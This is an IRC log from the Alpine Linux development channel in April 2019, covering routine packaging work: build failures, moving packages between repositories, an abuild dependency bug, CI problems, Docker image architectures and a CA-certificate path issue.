2019-04-08 22:02:22 <alpine-meetbot> HRio meant to say: its a statistical test of the data. Upstream have bumped samples before to decrease the risk of test failure. Even a good random number generator could fail the test every now and then.
2019-04-08 22:03:23 <tcely> HRio: lgtm then
2019-04-09 00:09:25 <tcely> clandmeter: DroneCI doesn't set / export USER. That seems to be the problem testing tcllib.
2019-04-09 08:02:05 <nmeum> tcely: are you ok with the following change to your bind dns-root-hints changes? http://tpaste.us/nM6p
2019-04-09 08:39:49 <DLange> hm, freshly upgraded 3.9.3: /usr/sbin/httpd -> Segmentation fault
2019-04-09 08:39:51 <DLange> [  712.017807] grsec: From x.x.x.x: Segmentation fault occurred at            (nil) in /usr/sbin/httpd[httpd:2477] uid/euid:0/0 gid/egid:0/0, parent /bin/busybox[ash:2172] uid/euid:0/0 gid/egid:0/0
2019-04-09 08:39:59 <DLange> known issue or am I the lucky one?
2019-04-09 08:44:01 <AinNero> not known
2019-04-09 08:44:11 <AinNero> but > grsec
2019-04-09 08:44:45 <AinNero> grsec/hardened is unsupported for quite a while now
2019-04-09 08:50:52 <DLange> okis, then time to migrate off that I guess
2019-04-09 09:01:41 <DLange> doesn't help ... uname -a -> Linux fit 4.19.34-0-virt #1-Alpine SMP Mon Apr 8 15:18:34 UTC 2019 x86_64 Linux
2019-04-09 09:01:50 <DLange> /usr/sbin/httpd -> Segmentation fault
2019-04-09 09:02:20 <DLange> [  270.372658] httpd[2595]: segfault at 0 ip 00007fb747103a24 sp 00007ffd4b323f28 error 4 in ld-musl-x86_64.so.1[7fb7470cb000+45000]
2019-04-09 09:34:27 <DLange> o.k., same apache (2.4.39-r0 version, from 3.8 repo obviously) works on 3.8.4
2019-04-09 09:38:18 <DLange> 
ACTION is happy to have working backups and goes back to work

2019-04-09 10:22:35 <_ikke_> Would it make sense to move libgnome to community instead of main? libcanberra depends on it, which is now also in main and unmaintained, and someone wants to add libcanberra as a dependency on pulse
2019-04-09 10:26:55 <ncopa> yes, absolutely
2019-04-09 10:27:09 <ncopa> if you can move libgnome to community, then i think it should be done
2019-04-09 10:27:24 <_ikke_> Ok, I'll check what is required
2019-04-09 10:27:59 <ncopa> i think there may have been something like vlc or simlar that depended on libgnome
2019-04-09 10:28:05 <ncopa> or gstreamer
2019-04-09 10:28:17 <ncopa> gstreamer 0.10 that is
2019-04-09 10:28:26 <_ikke_> ok\
2019-04-09 10:30:53 <_ikke_> gstreamer seems to only depend on glib, musl and libintl at the moment
2019-04-09 10:33:23 <ncopa> i think it was some of the gst plugins
2019-04-09 10:33:37 <ncopa> gst-plugins-good, bad or ugly
2019-04-09 10:34:14 <ncopa> it is not unlikely that this dependency is long gone though
2019-04-09 10:36:05 <_ikke_> gstreamer seems to only depend on glib, musl and libintl at the moment/\
2019-04-09 10:36:07 <_ikke_> ugh
2019-04-09 10:36:09 <_ikke_> why does apk info -r <pkgname> not return anything?
2019-04-09 10:48:37 <ncopa> i think apk will not find if the dependency chain is broken
2019-04-09 10:48:44 <ncopa> apk list --depend will show
2019-04-09 10:48:52 <ncopa> oh
2019-04-09 10:48:54 <ncopa> sorry
2019-04-09 10:49:02 <ncopa> i thought you said `apk search -r`
2019-04-09 10:49:07 <ncopa> apk info -r, i dont knw
2019-04-09 11:12:10 <kmaxwell> anyone know which package installs the APKBUILD man page?
2019-04-09 11:12:13 <kmaxwell> https://git.alpinelinux.org/abuild/tree/APKBUILD.5
2019-04-09 11:15:42 <mps> kmaxwell: abuild-doc
2019-04-09 11:16:13 <mps> 'apk info -L abuild-doc'
2019-04-09 11:16:48 <mps> or 'apk info -W usr/share/man/man5/APKBUILD.5.gz'
2019-04-09 11:39:01 <kmaxwell> mps: thank you! not sure why I couldn't find that
2019-04-09 11:39:33 <kmaxwell> I'm full of questions today-
2019-04-09 11:39:46 <mps> yw, 'apk info -h' can help
2019-04-09 11:40:05 <kmaxwell> what is the right way to handle a package that does have a test suite but which isn't distributed with the source?
2019-04-09 11:41:28 <mps> probably install/unpack both in prepare() function
2019-04-09 11:42:16 <mps> that's mu guess, never worked with such packages
2019-04-09 11:47:54 <kmaxwell> thanks again, I'm going to investigate doing that, might look for an example first :-)
2019-04-09 11:49:45 <opal> freaky,
2019-04-09 11:49:58 <opal> who on the aports ml was watching porn :^)
2019-04-09 11:50:12 <opal> in all seriousness whats up with the spam
2019-04-09 11:50:20 <mps> not like your case, but I'm working to fix vim and gvim, and in prepare you can see 'cp -r'
2019-04-09 12:25:29 <tcely> nmeum: the lines in libs should be reversed and we should use $depends_libs. Otherwise lgtm
2019-04-09 12:26:39 <kmaxwell> mps: thanks helpful example, now think only the PyPI release is missing tests, think I can get them in an archive from the BitBucket VCS
2019-04-09 12:26:40 <nmeum> hm? depends_lib doesn't exist, iirc
2019-04-09 12:29:10 <nmeum> tcely: ^
2019-04-09 12:31:30 <tcely> depends="$depends_libs"
2019-04-09 12:32:12 <tcely> That way we don't hard code empty and can fill the variable in later
2019-04-09 13:56:12 <andypost[m]> can we get https://github.com/alpinelinux/aports/pull/6673 in?
2019-04-09 14:00:23 <tmhoang> andypost[m]: Hi, while you are here, and I'm here : https://github.com/alpinelinux/aports/pull/6996 :D
2019-04-09 14:01:05 <_ikke_> tmhoang: That one I can take later today
2019-04-09 14:01:20 <tmhoang> o/ thanks
2019-04-09 14:04:57 <danieli> does anyone have any clue why community/radare2 is disabled on aarch64?
2019-04-09 14:05:11 <danieli> clandmeter: you're the one who disabled it by the looks of it
2019-04-09 14:05:48 <clandmeter> hmm
2019-04-09 14:05:51 <clandmeter> i didnt add a note?
2019-04-09 14:06:20 <danieli> "disable on aarch64"
2019-04-09 14:06:51 <nmeum> tcely: tbh we could just add support for depends_libs to abuild while at it
2019-04-09 14:07:07 <nmeum> e,g. http://tpaste.us/XnOj <- ncopa would you be ok with that?
2019-04-09 14:07:33 <danieli> https://twitter.com/radareorg/status/1115525285183729665 someone apparently packaged it (with the purpose being to use it in iSH) and wrote an article about it
2019-04-09 14:08:33 <clandmeter> probably didnt build or failed tests
2019-04-09 14:08:56 <clandmeter> probably in a hurry and didnt find time to wrtie a proper commit msg...
2019-04-09 14:09:05 <danieli> yeah, figured it was something along those lines
2019-04-09 14:09:08 <danieli> don't worry, i was just curious :)
2019-04-09 14:12:05 <LucasRamage[m]> Greetings, does anyone here know how to create a headless X server on Alpine? I'm looking to setup a container for automated testing purposes.
2019-04-09 14:18:34 <mps> danieli: will try this on aarch64
2019-04-09 14:37:29 <mps> danieli: clandmeter: radare2 pass 'abuild -r' on aarch64 edge in lxc container
2019-04-09 14:37:39 <danieli> mps: thatæs odd
2019-04-09 14:37:41 <danieli> that's*
2019-04-09 14:37:45 <danieli> wonder what broke when clandmeter tried it
2019-04-09 14:38:04 <mps> maybe is the problem on builders
2019-04-09 14:59:49 <ncopa> nmeum: http://tpaste.us/XnOj looks good to me
2019-04-09 15:00:25 <nmeum> ok, great. should probably document it in APKBUILD.5 and will push it soon then
2019-04-09 15:43:33 <tcely> nmeum: abuild should probably walk subpackages and include $depends_X for every split function it finds when calculating deps
2019-04-09 15:45:25 <tcely> An approach like this means $depends_dev doesn't need to be added to makedepends manually
2019-04-09 15:53:00 <nmeum> one thing at a time :)
2019-04-09 15:53:58 <_ikke_> ddevault: https://bugs.alpinelinux.org/issues/10221
2019-04-09 15:54:38 <ddevault> I'll leave a note
2019-04-09 15:59:19 <bratkartoffel> ddevault: which "nonfree" package do you mean? as far as i can see all dependencies should be present?
2019-04-09 15:59:21 <bratkartoffel> makedepends="openssl-dev snappy-dev zlib-dev libtool py3-sphinx cmake"
2019-04-09 16:00:01 <SpaceToast> ddevault: mongo (and other db) drivers work over the network
2019-04-09 16:00:03 <ddevault> mongo?
2019-04-09 16:00:14 <SpaceToast> mongo is not required for an application driver that connects to it to work
2019-04-09 16:00:22 <ddevault> I'm aware of that, but I still think the packages are not necessary to include here
2019-04-09 16:00:24 <SpaceToast> + there can be alternative backend implementations that are API compatible
2019-04-09 16:00:40 <SpaceToast> "not necessary" and "they'll just break as soon as you install them" are separate things, are they not?
2019-04-09 16:00:47 <ddevault> fair
2019-04-09 16:00:53 <SpaceToast> and re: necessary; that's what the request is about, isn't it? :)
2019-04-09 16:01:54 <ddevault> wrote up another comment clarifying it more
2019-04-09 16:02:25 <SpaceToast> ok
2019-04-09 16:02:33 <SpaceToast> I don't really agree, but you opinion is your opinion :)
2019-04-09 16:33:28 <_ikke_> iirc, `pkgname` should be statically defined in APKBUILD, but I cannot find any reference where that is described. Is that assertion correct?
2019-04-09 16:33:51 <_ikke_> (statically, meaning not defined with variables interpolated)
2019-04-09 16:43:20 <tcely> _ikke_: what would be the justification for that assertion?
2019-04-09 16:43:38 <_ikke_> I believe statical analysis
2019-04-09 16:43:40 <_ikke_> not sure though
2019-04-09 16:43:51 <_ikke_> Hence me asking
2019-04-09 16:46:55 <nmeum> I think you are confusing this with the policy that command substitution, e.g. $(…) shouldn't be used outside local functions
2019-04-09 16:47:15 <nmeum> at least I can't recall a requirement to define pkgname statically
2019-04-09 16:48:00 <nmeum> and there seem to be a quite a few packages which don't do so, e.g. main/linux-vanilla
2019-04-09 16:49:30 <SpaceToast> I don't think it needs to be a *hard* rule
2019-04-09 16:49:37 <SpaceToast> not sure about the status quo though
2019-04-09 17:04:00 <bratkartoffel> Can someone please merge Github PR's 6489 and 6500? Release 3.10 comes closer and (as discussed by mail) I'd really love to have Java 11 in that release. Thanks!
2019-04-09 17:05:46 <danieli> pr6489
2019-04-09 17:05:47 <danieli> pr6500
2019-04-09 17:08:30 <danieli> bratkartoffel: sorry if I'm asking you to repeat yourself, but how come both travis and drone are failing on the openjdk10 one?
2019-04-09 17:10:36 <bratkartoffel> danieli: Sorry, haven't seen any questions about these yet. I don't know why it's failing on travis, but it's failing on drone ci due to " refusing to merge unrelated histories "
2019-04-09 17:10:50 <bratkartoffel> i'll force push the openjdk10 to trigger a rebuild
2019-04-09 17:11:28 <danieli> J0WI says it builds fine on their x86_64 box
2019-04-09 17:11:57 <bratkartoffel> it also build fine on my machine ;)
2019-04-09 17:31:47 <clandmeter> bratkartoffel: rebase it with master
2019-04-09 17:32:13 <clandmeter> It should fix that merge error
2019-04-09 17:42:56 <otlabs> hi ppl
2019-04-09 17:43:12 <_ikke_> \o
2019-04-09 17:43:20 <otlabs> _ikke_: yo!
2019-04-09 17:44:31 <otlabs> Huston, I have a problem
2019-04-09 17:44:44 <otlabs> I have updated cython package to new edition
2019-04-09 17:45:06 <otlabs> Now I update packages depending on cython
2019-04-09 17:45:27 <otlabs> I have created the PR with cython and all that packages
2019-04-09 17:46:19 <otlabs> But all package who have makedepends=cython pick up old version of cython, not the recently build
2019-04-09 17:46:45 <otlabs> The question is how to let them use recently build cython?
2019-04-09 17:50:31 <clandmeter> otlabs: im looking at it
2019-04-09 17:50:51 <otlabs> clandmeter: thanks a lot!
2019-04-09 17:51:17 <clandmeter> otlabs: thank you for your work
2019-04-09 17:51:22 <clandmeter> sorry for all the trouble
2019-04-09 17:51:30 <otlabs> no problem
2019-04-09 17:51:31 <clandmeter> and the long wait
2019-04-09 17:51:40 <otlabs> i learned a lot meanwhile
2019-04-09 17:52:00 <otlabs> so all your kind help and knowledge is so appreciated
2019-04-09 17:58:28 <clandmeter> tcely: you here?
2019-04-09 17:59:49 <clandmeter> otlabs: i think this is our problem https://github.com/alpinelinux/abuild/pull/53
2019-04-09 18:00:07 <otlabs> looking at it now...
2019-04-09 18:00:35 <clandmeter> what happens is that abuild does not include higher level local repositories when building packages.
2019-04-09 18:01:34 <clandmeter> otlabs: does anything that depends on cython live in main?
2019-04-09 18:03:22 <otlabs> i see. yep, that's the origin of that behavior.
2019-04-09 18:03:31 <otlabs> let me check, give me sec
2019-04-09 18:03:39 <otlabs> nope
2019-04-09 18:04:05 <otlabs> 8 packages in community
2019-04-09 18:04:10 <clandmeter> move it to community
2019-04-09 18:04:23 <otlabs> 5 in testing
2019-04-09 18:04:34 <clandmeter> but it will probably still break the testing ones
2019-04-09 18:04:48 <clandmeter> but i think its good to move it to community anyways
2019-04-09 18:05:00 <otlabs> ok
2019-04-09 18:05:06 <_ikke_> yes, I would agree as well
2019-04-09 18:06:00 <clandmeter> if we can fix that, i think i can manually test it.
2019-04-09 18:08:51 <clandmeter> one other small thing
2019-04-09 18:08:51 <bratkartoffel> clandmeter and danieli: both build fine now on circle ci, thanks
2019-04-09 18:09:02 <clandmeter> circle ci?
2019-04-09 18:09:12 <clandmeter> we have another one?
2019-04-09 18:09:12 <bratkartoffel> sorry, drone ci
2019-04-09 18:09:17 <clandmeter> :p
2019-04-09 18:09:23 <bratkartoffel> long day for me ;)
2019-04-09 18:10:11 <clandmeter> otlabs: not sure you noticed, but there seems to be a duplicated pkg
2019-04-09 18:10:33 <clandmeter> libplist
2019-04-09 18:11:13 <clandmeter> please remove the one from testing
2019-04-09 18:11:43 <otlabs> sure
2019-04-09 18:12:03 <clandmeter> i will comment on the pr
2019-04-09 18:12:13 <otlabs> i have not checked in detail, looks like one is 1.x branch and in testing is 2.x
2019-04-09 18:13:42 <clandmeter> i think ther eare both 2.x
2019-04-09 18:13:53 <clandmeter> they are both...
2019-04-09 18:14:02 <otlabs> oh, ok
2019-04-09 18:14:06 <tcely> clandmeter: yes, the same issue existed for the boost rebuild PR
2019-04-09 18:14:56 <tcely> pr6852
2019-04-09 18:17:21 <clandmeter> thx
2019-04-09 18:17:30 <clandmeter> we should fix that asap
2019-04-09 18:17:53 <clandmeter> its confusing for contributors
2019-04-09 18:18:02 <clandmeter> even for me :)
2019-04-09 18:22:54 <tcely> I was a bit surprised when I first saw the build logs then again when I figured out why it was happening
2019-04-09 18:26:15 <otlabs> clandmeter: i have pushed the changes, will check the result
2019-04-09 18:28:21 <clandmeter> Thx
2019-04-09 18:49:59 <tcely> The fossil package is being flagged incorrectly. Does someone have a way to get this fixed?
2019-04-09 18:50:56 <tcely> The change log page includes the next version which seems to cause an off by one error.
2019-04-09 19:00:40 <_ikke_> I guess just ignore it for now?
2019-04-09 19:04:51 <tcely> it will continue like this until fixed
2019-04-09 19:10:38 <mps> hmm, looks like syslinux is not ready to be upgraded to 6.04_pre3 yet
2019-04-09 20:37:59 <clandmeter> ncopa: did we want to move ceph to community?
2019-04-09 20:53:01 <ncopa> clandmeter: yes we want move ceph to community
2019-04-09 20:53:46 <clandmeter> ncopa: ok
2019-04-09 20:53:57 <clandmeter> i would like to get a fix for abuild in
2019-04-09 20:54:26 <clandmeter> for those higher level local repos to be included when building a pkg.
2019-04-09 20:54:27 <ncopa> ok?
2019-04-09 20:54:33 <clandmeter> i didnt really look into it
2019-04-09 20:54:36 <ncopa> ah
2019-04-09 20:54:43 <ncopa> i think there is a PR for that
2019-04-09 20:54:48 <clandmeter> https://github.com/alpinelinux/abuild/pull/53
2019-04-09 20:55:26 <clandmeter> i didnt understand initially because it didnt have much description added.
2019-04-09 20:55:47 <clandmeter> so when i bumped into it again i started to ring a bell :)
2019-04-09 20:55:56 <clandmeter> it*
2019-04-09 20:56:13 <ncopa> i think the idea is that if you build a package in community, abuild should also pull in main repository
2019-04-09 20:56:29 <ncopa> and if you build something in testing, it should pull in both main and community for the depends
2019-04-09 20:56:33 <clandmeter> yes
2019-04-09 20:56:37 <clandmeter> same goes for testing
2019-04-09 20:56:58 <clandmeter> should always include higher level local repos
2019-04-09 20:57:12 <ncopa> oh, it does not pull in testing at all if you build in testing repo?
2019-04-09 20:57:31 <ncopa> in any case, kunkku worked on that for the rootbld feature
2019-04-09 20:57:43 <clandmeter> i guess its the same behavior
2019-04-09 20:57:55 <ncopa> similar yes
2019-04-09 20:57:57 <clandmeter> like i said, i didnt take time to read the code
2019-04-09 20:58:19 <ncopa> the above PR would hardcode main->community->testing repos in the code
2019-04-09 20:58:44 <ncopa> while i think we should have a file in the repo which descibes what deps it needs
2019-04-09 20:59:12 <ncopa> we currently have .rootbld-repositories
2019-04-09 21:00:07 <ncopa> but we may need to separate out $mirror and $branch
2019-04-09 21:00:43 <ncopa> so we can have it pick up the dependencies dependin on which branch it is
2019-04-09 21:01:06 <clandmeter> why is that included? mirror and version?
2019-04-09 21:01:36 <ncopa> because you should get the correct repository dependin on the branch you have checked out
2019-04-09 21:01:40 <clandmeter> isnt it just to define relation/priority?
2019-04-09 21:01:49 <ncopa> so if you checkout 3.9-stable branch
2019-04-09 21:02:04 <ncopa> and run abuild rootbld, it will pull v3.9 packages instead of edge packages
2019-04-09 21:02:23 <clandmeter> yes but that can also be defined in the code?
2019-04-09 21:09:05 <iggy> before ceph goes to community, can it get upgraded to the latest release?
2019-04-09 21:10:10 <clandmeter> iggy: are there any deps in testing?
2019-04-09 21:11:16 <iggy> I also have some changes locally to build radosgw, etc
2019-04-09 21:11:32 <iggy> guess I should stop sitting on those
2019-04-09 21:12:05 <iggy> great question (I think the answer is yes)
2019-04-09 21:12:16 <clandmeter> i havent looked at ceph
2019-04-09 21:12:22 <_ikke_> clandmeter: ^
2019-04-09 21:12:30 <clandmeter> would be nice to have a PR with all changes
2019-04-09 21:12:45 <clandmeter> _ikke_: i see
2019-04-09 21:12:48 <clandmeter> very private
2019-04-09 21:13:22 <clandmeter> i took me some time to find out what i needed from redmine api to add the filter.
2019-04-09 21:13:27 <iggy> let me try to get a PR going on this garbage cloud next wifi
2019-04-09 21:13:51 <_ikke_> clandmeter: I checked the issue model from redmine
2019-04-09 21:13:53 <clandmeter> upgrade and move to community would be lovely
2019-04-09 21:16:42 <_ikke_> hmm
2019-04-09 21:25:45 <clandmeter> _ikke_: are you restarting the ruby service?
2019-04-09 21:25:51 <clandmeter> no sure which one it is
2019-04-09 21:26:03 <_ikke_> i'm restarting puma
2019-04-09 21:26:09 <_ikke_> or is there something else?
2019-04-09 21:26:10 <clandmeter> right
2019-04-09 21:26:13 <clandmeter> thats the one
2019-04-09 21:31:57 <otlabs> clandmeter: i am unable to rebuild 2 packages in community and 2 in testing for cython upgrade
2019-04-09 21:33:14 <clandmeter> ok, which fail?
2019-04-09 21:33:18 <clandmeter> and what is the reason?
2019-04-09 21:33:42 <otlabs> Failed to build packages: community/libplist community/py-opengl-accelerate testing/py-h5py testing/py-pdal
2019-04-09 21:33:53 <otlabs> that's for x86
2019-04-09 21:34:27 <otlabs> for other archies need to scroll the full log as they have not reached final point with summary
2019-04-09 21:34:55 <otlabs> libplist has a problem (missing delimiter) in Makefile error
2019-04-09 21:35:25 <otlabs> py-opengl-accelerate unable to include "Python.h" file
2019-04-09 21:35:43 <otlabs> For last 2 I have no info yet
2019-04-09 21:36:45 <otlabs> what you think if i change the cython verion back and check all modernization which already in place?
2019-04-09 21:43:54 <clandmeter> otlabs: i think you are missing a dep?
2019-04-09 21:44:17 <clandmeter> for libplist
2019-04-09 21:44:19 <clandmeter> let me check
2019-04-09 21:48:00 <clandmeter> otlabs: could it be missing setuptools?
2019-04-09 21:48:44 <clandmeter> https://tpaste.us/dkXJ
2019-04-09 21:49:04 <otlabs> let me see
2019-04-09 21:49:34 <clandmeter> i remember that error msg
2019-04-09 21:50:24 <otlabs> sorry, i do not know. i will add setuptools and try
2019-04-09 21:50:50 <clandmeter> i think we add it by default on most.
2019-04-09 21:51:02 <clandmeter> on python related packages ofc
2019-04-09 21:52:45 <otlabs> on my local machine i was able to compile without a problem
2019-04-09 21:53:08 <otlabs> let me push it
2019-04-09 21:53:31 <sh4rm4^bnc> quick is someone from the devs available? i just convinced a free pascal developer to start working on a bootstrap for alpine
2019-04-09 21:53:45 <sh4rm4^bnc> but i cant help him answer apk-related questions
2019-04-09 21:53:59 <clandmeter> otlabs: py-opengl-accelerate needs python-dev
2019-04-09 21:54:45 <sh4rm4^bnc> clandmeter, how do you install devel tools on alpine ?
2019-04-09 21:54:49 <sh4rm4^bnc> make, gcc, etc ?
2019-04-09 21:54:51 <clandmeter> otlabs: testing/py-h5py testing/py-pdal will probably fail due to deps?
2019-04-09 21:55:03 <clandmeter> sh4rm4^bnc: apk add build-base
2019-04-09 21:55:22 <clandmeter> or alternative is alpine-sdk
2019-04-09 21:55:32 <otlabs> clandmeter: i will check both suggestions
2019-04-09 21:55:41 <sh4rm4^bnc> thanks, would you mind joining #fpc to help out if some more questions arise ?
2019-04-09 21:56:10 <clandmeter> sh4rm4^bnc: i would but im not around much longer.
2019-04-09 21:56:14 <clandmeter> cet zone here
2019-04-09 21:56:21 <sh4rm4^bnc> ah :/
2019-04-09 21:56:35 <clandmeter> maybe some others can help here
2019-04-09 21:56:48 <clandmeter> but i think most are CET
2019-04-09 22:00:43 <tcely> sh4rm4^bnc: would that dev be willing to join here?
2019-04-09 22:01:07 <sh4rm4^bnc> i suppose so
2019-04-09 22:01:33 <danieli> I'm staying up for a bit and I could join there
2019-04-09 22:02:03 <sh4rm4^bnc> that would be great
2019-04-09 22:02:30 <clandmeter> i was just about to ping danieli :)
2019-04-09 22:02:39 <clandmeter> he is our night manager
2019-04-09 22:03:02 <danieli> haha night manager
2019-04-09 22:03:09 <sh4rm4^bnc> great, thanks guys :)
2019-04-09 22:03:13 <danieli> I just have stuff I need done and I don't mind skewing my sleep schedule a littel for it
2019-04-09 22:03:19 <danieli> s/el/le
2019-04-09 22:03:19 <alpine-meetbot> danieli meant to say: I just have stuff I need done and I don't mind skewing my sleep schedule a little for it
2019-04-09 22:03:35 <SpaceToast> I don't know if I really count as a dev (I make our docs) but I'm available for questions
2019-04-09 22:03:51 <SpaceToast> don't really wanna join any channels quite right now (it's a day off and I'm playing the new hearthstone expansion)
2019-04-09 22:04:17 <danieli> I have packages fror mercury and swi-prolog cooking, but they're not ready for serving yet
2019-04-09 22:04:22 <danieli> guess I need to step up my game :P
2019-04-09 22:04:38 <SpaceToast> just get a sous vide cooker ;)
2019-04-09 22:10:24 <otlabs> clandmeter: i have fixed both packages from community, tomorrow will continue with 2 from testing. thanks a lot for your guidance!
2019-04-09 22:10:39 <clandmeter> otlabs: i dont think you can fix those
2019-04-09 22:10:50 <clandmeter> if its related to cython that is
2019-04-09 22:10:59 <clandmeter> it wont pull in the new version
2019-04-09 22:11:07 <clandmeter> due to abuild bug we talked about
2019-04-09 22:11:10 <otlabs> oh, ok
2019-04-09 22:11:52 <otlabs> i will take a look at least
2019-04-09 22:15:09 <otlabs> see you tomorrow ppl
2019-04-09 23:41:28 <tcely> pr6265
2019-04-10 07:29:41 <tmhoang> ncopa: morning, I saw you pushed 3.9.3 on github https://github.com/alpinelinux/docker-alpine/, just wondering if you pushed them on docker hub for all arches ?
2019-04-10 07:30:10 <tmhoang> when I pull alpine:latest on s390x, it seems the manifest couldn't find it
2019-04-10 07:31:46 <tmhoang> afaiu, docker hub should automatically update the changes on github repo.
2019-04-10 07:40:10 <tmhoang> it seems only amd64 is available
2019-04-10 07:40:16 <tmhoang> docker manifest inspect alpine:latest | grep arch
2019-04-10 07:40:16 <tmhoang> "architecture": "amd64",
2019-04-10 08:13:02 <ncopa> morning
2019-04-10 08:13:14 <ncopa> yes, all arches should get the 3.9.3 update
2019-04-10 08:20:05 <kemadz> ncopa: linux-vanilla leaves CONFIG_RTC_DRV_EFI not set and real time clock device does not exist in qemu aarch64
2019-04-10 08:20:17 <kemadz> could you help to fix it
2019-04-10 08:28:38 <tmhoang> Yes I saw you pushed for all arches. But the manifest only shows amd64. The docker ci for ppc + s390x are idle so I guess they are done building. But they still not updating the iamges. https://doi-janky.infosiftr.net/computer/
2019-04-10 08:40:50 <mps> kemadz: right, I noticed the problem last week but didn't looked deeply. will CONFIG_RTC_DRV_EFI solve problem on non u/efi qemu, i.e. booting using u-boot
2019-04-10 10:39:11 <kemadz> mps: yes. it works on x86_64 without u/efi. i tried different arches and distroes in the last two days and figured out the problem finally. archlinuxarm boots smoothly with u/efi and dmesg shows it using rtc-efi
2019-04-10 10:43:50 <_ikke_> andypost[m]: I was just trying to push kafkacat :P
2019-04-10 10:45:43 <mps> kemadz: right, I worked on script and guide to install Alpine aarch64 under qemu and noticed issue with rtc and yesterday played with new version of syslinux on x86_64 under qemu and rtc works on it, i.e. x86_64 qemu
2019-04-10 12:44:11 <andypost[m]> ikke: nice) it will need bump soon
2019-04-10 12:45:03 <_ikke_> andypost[m]: we were basically looking at the same PRs
2019-04-10 13:45:08 <tmhoang> _ikke_: Hello, I commented on this https://github.com/alpinelinux/aports/pull/6996. Ideas are welcomed, as I'm not very well-versed in that area
2019-04-10 13:45:29 <_ikke_> Yes, noticed it, will look at it later
2019-04-10 13:50:39 <mps> anyone with push rights to testing have a time to review iwd upgrade patch https://patchwork.alpinelinux.org/patch/4772/
2019-04-10 13:59:46 <danieli> tmhoang: it *looks* good to me but I can't test it considering my lack of an s390x box
2019-04-10 14:00:18 <tmhoang> danieli: it doesn't have to be on s390x.
2019-04-10 14:00:25 <tmhoang> you can build the APKBUILD on x86
2019-04-10 14:00:47 <tmhoang> it's abuild thing with prepare() and package()
2019-04-10 14:01:37 <_ikke_> I would expect $builddir to affect package() as well
2019-04-10 14:02:00 <tmhoang> same to me
2019-04-10 14:02:12 <danieli> right, I see the issue
2019-04-10 14:02:14 <danieli> I'll give it a spin
2019-04-10 14:02:40 <tmhoang> but apparently it not. Either me fix abuild or we let this in. I'm okay with fixing abuild but it needs to wait ...
2019-04-10 14:03:03 <tmhoang> many thanks :)
2019-04-10 14:04:05 <tmhoang> ncopa: re multi-arch docker images, it seems they build the images on the builders in *serial*, one after another. Every arches are up online atm :D
2019-04-10 14:06:03 <danieli> tmhoang: builds perfectly, and the resulting apk looks structurally sound
2019-04-10 14:06:26 <tmhoang> danieli: how do you build ? mind pasting the diff ?
2019-04-10 14:06:28 <danieli> need to look at the dir thing in a sec
2019-04-10 14:06:41 <danieli> I just ran abuild -r with the PR diff
2019-04-10 14:08:15 <_ikke_> danieli: I think the issue is that we want to be able to set builddir to contain /build so that we don't need to do cd $builddir/build each time
2019-04-10 14:22:40 <danieli> _ikke_: aha! I'll test it
2019-04-10 14:27:59 <danieli> tmhoang: right, cmake is not allowing you to build in "$builddir"/libyang-1.0-r2/ so it's making a "build/" dir and running "cmake .."
2019-04-10 14:28:07 <danieli> it's because cmake wants to keep the sources clean
2019-04-10 14:28:27 <tmhoang> yes i am aware of that
2019-04-10 14:28:31 <danieli> i can patch it out?
2019-04-10 14:28:39 <tmhoang> yes of course
2019-04-10 14:28:41 <_ikke_> danieli: Shouldn't be necessary
2019-04-10 14:28:46 <_ikke_> it's a common pattern
2019-04-10 14:29:20 <danieli> right, it's running `if(${CMAKE_SOURCE_DIR} STREQUAL ${CMAKE_BINARY_DIR})`
2019-04-10 14:55:39 <clandmeter> ncopa: ping
2019-04-10 15:03:02 <otlabs> hi ppl
2019-04-10 15:05:09 <clandmeter> 
ACTION hides behind a tree full of pythons

2019-04-10 15:06:53 <otlabs> 
ACTION points nitpicking gun and clandmeter 

2019-04-10 15:07:09 <otlabs> s/and/at/
2019-04-10 15:07:10 <alpine-meetbot> otlabs meant to say: points nitpicking gun at clandmeter
2019-04-10 15:07:21 <otlabs> ha-ha-ha
2019-04-10 15:07:37 <otlabs> 
ACTION feels like Terminator

2019-04-10 15:07:48 <otlabs> "I'll be back!"
2019-04-10 15:12:54 <otlabs> c'mon, get out of there, it will be fun!
2019-04-10 15:13:05 <otlabs> 
ACTION hides the gun

2019-04-10 15:13:19 <otlabs> 
ACTION puts his smiling face

2019-04-10 15:13:56 <_ikke_> 
ACTION peeks form under a rock

2019-04-10 15:14:34 <otlabs> auch
2019-04-10 15:14:41 <otlabs> shame on me
2019-04-10 15:14:48 <otlabs> what a fame i got...
2019-04-10 15:14:52 <ncopa> clandmeter: pong
2019-04-10 15:15:28 <otlabs> 
ACTION starts sobbing

2019-04-10 15:16:51 <clandmeter> otlabs: looks good!
2019-04-10 15:16:58 <clandmeter> im going to merge it
2019-04-10 15:17:17 <otlabs> seconds, minutes, hours, days, and weeks of such an effort to get ruined by those snakes eating good clandmeter...
2019-04-10 15:17:50 <otlabs> oh! you are alive good clandmeter! i am so happy!
2019-04-10 15:18:32 <otlabs> clandmeter: please, don't push so hard, i am so sensitive today :-)
2019-04-10 15:18:49 <otlabs> s/push/merge/
2019-04-10 15:18:49 <alpine-meetbot> otlabs meant to say: clandmeter: please, don't merge so hard, i am so sensitive today :-)
2019-04-10 15:39:19 <clandmeter> otlabs: bit busy atm, will try later.
2019-04-10 15:40:53 <otlabs> sure, thank you
2019-04-10 15:41:04 <otlabs> i will be around if needed
2019-04-10 15:51:35 <blametheprevious> Hello. I have a suggestion considering the update-ca-certificates utility not affecting the default wget from busybox
2019-04-10 15:52:10 <clandmeter> otlabs: next time dont write a chapter in the pr subject ;-)
2019-04-10 15:53:01 <_ikke_> It's not necessary it mention every small detail in the subject :)
2019-04-10 15:53:34 <otlabs> clandmeter: ok
2019-04-10 15:53:35 <clandmeter> also some patches have long desc lines
2019-04-10 15:53:50 <otlabs> ok
2019-04-10 15:54:35 <otlabs> i do not know yet what is important to mention and what is not
2019-04-10 15:55:14 <clandmeter> its important you mention it, but also how you do it :)
2019-04-10 15:56:06 <otlabs> i will learn that too ( i hope :-) )
2019-04-10 15:56:41 <clandmeter> read the contributor guidelines
2019-04-10 15:56:45 <blametheprevious> update-ca-certificates changes only /etc/ssl/certs/ca-certificates.crt store, while busybox (and wget it implements) uses /etc/ssl/cert.pem store. Replacing /etc/ssl/cert.pem with a link to /etc/ssl/certs/ca-certificates.crt worked for me, but extending update-ca-certificates to update /etc/ssl/cert.pem would work too i guess
2019-04-10 15:56:48 <clandmeter> it mentions how to do it
2019-04-10 15:57:10 <otlabs> oh, sure, need to find them
2019-04-10 15:58:02 <clandmeter> in the .github dir
2019-04-10 15:58:04 <clandmeter> i think
2019-04-10 15:58:53 <clandmeter> otlabs: its cooking
